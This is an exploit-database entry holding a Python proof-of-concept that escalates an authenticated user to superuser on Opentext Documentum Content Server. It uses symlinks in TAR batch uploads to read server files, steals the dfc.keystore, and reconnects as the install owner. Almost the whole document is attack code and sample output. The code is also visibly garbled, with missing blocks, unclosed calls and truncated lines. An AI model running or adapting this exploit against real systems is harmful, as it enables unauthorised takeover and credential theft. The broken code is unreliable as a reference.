Opentext Documentum Content Server Privilege Escalation Exploit

ID 1337DAY-ID-28793
Type zdt
Reporter Andrey Panfilov
Modified 2017-10-15T00:00:00


Exploit for multiple platform in category web applications

                                            #!/usr/bin/env python

# Opentext Documentum Content Server (formerly known as EMC Documentum Content Server)
# contains following design gap, which allows authenticated user to gain privileges
# of superuser:
# Content Server allows to upload content using batches (TAR archives), when unpacking
# TAR archives Content Server fails to verify contents of TAR archive which
# causes path traversal vulnerability via symlinks, because some files on Content Server
# filesystem are security-sensitive the security flaw described above leads to
# privilege escalation
# The PoC below demonstrates this vulnerability:
# MacBook-Pro:~ $ python
# usage:
# host port user password
# MacBook-Pro:~ $ python docu72dev01 10001 dm_bof_registry dm_bof_registry
# Trying to connect to docu72dev01:10001 as dm_bof_registry ...
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377  Linux64.Oracle
# Downloading /u01/documentum/cs/product/7.2/bin/
# Creating malicious dmr_content object
# Trying to find any object with content...
#     Downloading /u01/documentum/cs/shared/config/dfc.keystore
# Creating malicious dmr_content object
# Trying to find any object with content...
#     Trying to connect to docu72dev01:10001 as dmadmin ...
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377  Linux64.Oracle
# P0wned!

import io
import socket
import sys
import tarfile

from dctmpy import NULL_ID

from dctmpy.docbaseclient import DocbaseClient
from dctmpy.identity import Identity
from dctmpy.obj.typedobject import TypedObject


def usage():
    print "usage:\n%s host port user password" % sys.argv[0]

def main():
    if len(sys.argv) != 5:

    (session, docbase) = create_session(*sys.argv[1:5])

    if is_super_user(session):
        print "Current user is a superuser, nothing to do"

    admin_console = session.get_by_qualification(
        "dm_method where object_name='dm_JMSAdminConsole'")
    env_script = admin_console['method_verb']
    env_script = env_script.replace('', '')

    keystore_path = None
    script = str(download(session, env_script, bytearray()))
    if not script:
        print "Unable to download"

    for l in script.splitlines():
        if not l.startswith("DOCUMENTUM_SHARED"):
        keystore_path = l.split('=')[1]

    if not keystore_path:
        print "Unable to determine DOCUMENTUM_SHARED"

    keystore_path += "/config/dfc.keystore"
    keystore = str(download(session, keystore_path, bytearray()))

    if not keystore:
        print "Unable to download dfc.keystore"

    (session, docbase) = create_session(
        sys.argv[1], sys.argv[2],
        session.serverconfig['r_install_owner'], "",
        identity=Identity(trusted=True, keystore=keystore))
    if is_super_user(session):
        print "P0wned!"

def download(session, path, buf):
    print "Downloading %s" % path

    store = session.get_by_qualification("dm_store")
    format = session.get_by_qualification("dm_format where name='crtext'")

    print "Creating malicious dmr_content object"

    session.apply(None, NULL_ID, "BEGIN_TRANS")

    handle = session.make_pusher(store['r_object_id'])
    if handle < 1:
        print "Unable to create pusher"
        end_tran(session, False)

    (bytes, length) = create_tar("test", path)
    b = bytearray()

    print "Trying to find any object with content..."
    object_id = session.query(
        "SELECT FOR READ r_object_id "
        "FROM dm_sysobject WHERE r_content_size>0") \

    content_id = session.next_id(0x06)

    if not session.start_push(handle, content_id, format['r_object_id'], len(b)):
        print "Failed to start push"
        end_tran(session, False)

    session.upload(handle, b)
    data_ticket = session.end_push_v2(handle)['DATA_TICKET']

    content = TypedObject(session=session)
    content.set_string("OBJECT_TYPE", "dmr_content")
    content.set_bool("IS_NEW_OBJECT", True)
    content.set_id("storage_id", store['r_object_id'])
    content.set_id("format", format['r_object_id'])
    content.set_int("data_ticket", data_ticket)
    content.set_int("page", 0)
    content.set_string("page_modifier", "dm_batch")
    content.set_string("full_format", format['name'])
    content.set_int("content_size", len(b))
    content.set_bool("BATCH_FLAG", True)
    content.set_bool("IS_ADDRENDITION", True)
    content.set_id("parent_id", object_id)
    if not session.save_cont_attrs(content_id, content):
        print "Failed to create content"
        end_tran(session, False)

    content = session.get_by_qualification(
        "dmr_content WHERE any (parent_id='%s' "
        "AND page_modifier='%s')" % (object_id, "vuln"))

    handle = session.make_puller(
        NULL_ID, store.object_id(), content['r_object_id'],
        format.object_id(), data_ticket

    if handle == 0:
        end_tran(session, False)
        raise RuntimeError("Unable make puller")

    for chunk in

    end_tran(session, False)
    return buf

def create_tar(linkname, linkpath):
    bytes = io.BytesIO()
    tar = tarfile.TarFile(fileobj=bytes, mode="w", format=tarfile.GNU_FORMAT)
    add_link(tar, linkname, linkpath)
    text = io.BytesIO()
    text.write("file_name='%s'\n" % linkname)
    tarinfo = tarfile.TarInfo("property.txt")
    tarinfo.size = text.tell()
    tar.addfile(tarinfo, text)
    length = bytes.tell()
    return (bytes, length)

def add_link(tar, linkname, linkpath):
    tarinfo = tarfile.TarInfo(linkname)
    tarinfo.type = tarfile.SYMTYPE
    tarinfo.linkpath = linkpath = linkname

def create_session(host, port, user, pwd, identity=None):
    print "Trying to connect to %s:%s as %s ..." % \
          (host, port, user)
    session = None
        session = DocbaseClient(
            host=host, port=int(port),
            username=user, password=pwd,
    except socket.error, e:
        if e.errno == 54:
            session = DocbaseClient(
                host=host, port=int(port),
                username=user, password=pwd,
                secure=True, ciphers=CIPHERS)
            raise e
    docbase = session.docbaseconfig['object_name']
    version = session.serverconfig['r_server_version']
    print "Connected to %s:%s, docbase: %s, version: %s" % \
          (host, port, docbase, version)
    return (session, docbase)

def is_super_user(session):
    user = session.get_by_qualification("dm_user WHERE user_name=USER")
    if user['user_privileges'] == 16:
        return True
    group = session.get_by_qualification(
        "dm_group where group_name='dm_superusers' "
        "AND any i_all_users_names=USER")
    if group is not None:
        return True

    return False

def end_tran(session, commit=False):
    obj = TypedObject(session=session)
    obj.set_bool("COMMIT", commit)
    session.apply(None, NULL_ID, "END_TRANS", obj)

if __name__ == '__main__':

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